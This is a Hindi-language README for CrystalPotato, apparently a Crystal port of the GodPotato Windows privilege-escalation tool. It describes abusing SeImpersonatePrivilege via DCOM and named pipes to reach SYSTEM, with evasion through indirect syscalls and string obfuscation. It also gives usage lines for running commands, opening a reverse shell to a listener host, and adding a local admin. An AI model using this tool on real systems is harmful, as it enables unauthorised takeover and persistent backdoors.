
GodPotato का Crystal पोर्ट, जो अप्रत्यक्ष सिसकॉल, डायनेमिक API रिज़ॉल्यूशन और कंपाइल-टाइम स्ट्रिंग ऑब्फस्केशन के साथ SeImpersonatePrivilege का दुरुपयोग करता है। कमांड चलाएँ, रिवर्स शेल प्राप्त करें या उपयोगकर्ता जोड़ें।
CrystalPotato, GodPotato का Crystal पोर्ट है, जो SeImpersonatePrivilege वाले खातों से SYSTEM तक स्थानीय विशेषाधिकार वृद्धि (local privilege escalation) है। यह DCOM OXID Resolver और named pipe impersonation का दुरुपयोग करके काम करता है।
Windows APIs को डायनामिक रूप से रिज़ॉल्व किया जाता है और indirect syscall stubs के माध्यम से इन्वोक किया जाता है, सभी स्ट्रिंग्स कंपाइल समय पर XOR-obfuscated होती हैं और डिफ़ॉल्ट रूप से केवल कमांड आउटपुट प्रिंट होता है। Windows 10, 11 और Server 2025 पर परीक्षण किया गया है।
CrystalPotato, Crystal on Windows का उपयोग करके बिना किसी निर्भरता के एक ही फ़ाइल में कंपाइल होता है:
crystal build CrystalPotato.cr -o CrystalPotato.exe --release --static
एक कमांड निष्पादित करें, reverse shell शुरू करें, या एक स्थानीय एडमिन बनाएँ।
CrystalPotato.exe -c <COMMAND>
CrystalPotato.exe -H <LHOST> -P <LPORT> [-c <SHELL>]
CrystalPotato.exe -u <USER> -pw <PASS>

GodPotato - BeichenDream द्वारा मूल C# इम्प्लीमेंटेशन।
RustPotato - safedv द्वारा Rust इम्प्लीमेंटेशन।
SigmaPotato - tylerdotrar द्वारा अतिरिक्त कार्यक्षमताओं के साथ C# इम्प्लीमेंटेशन।
| Flag | विवरण |
|---|
-c CMD | SYSTEM के रूप में निष्पादित करने के लिए कमांड या reverse shell के लिए शेल (डिफ़ॉल्ट: cmd.exe) |
-H HOST | Reverse shell लिसनर Host |
-P PORT | Reverse shell लिसनर Port |
-u USER | स्थानीय एडमिन बनाएँ - उपयोगकर्ता नाम |
-pw PASS | स्थानीय एडमिन बनाएँ - पासवर्ड |
-p NAME | कस्टम pipe नाम (डिफ़ॉल्ट: Crystal) |
-d | डीबग आउटपुट |
-dd | पूर्ण ट्रेस |
-h | सहायता दिखाएँ |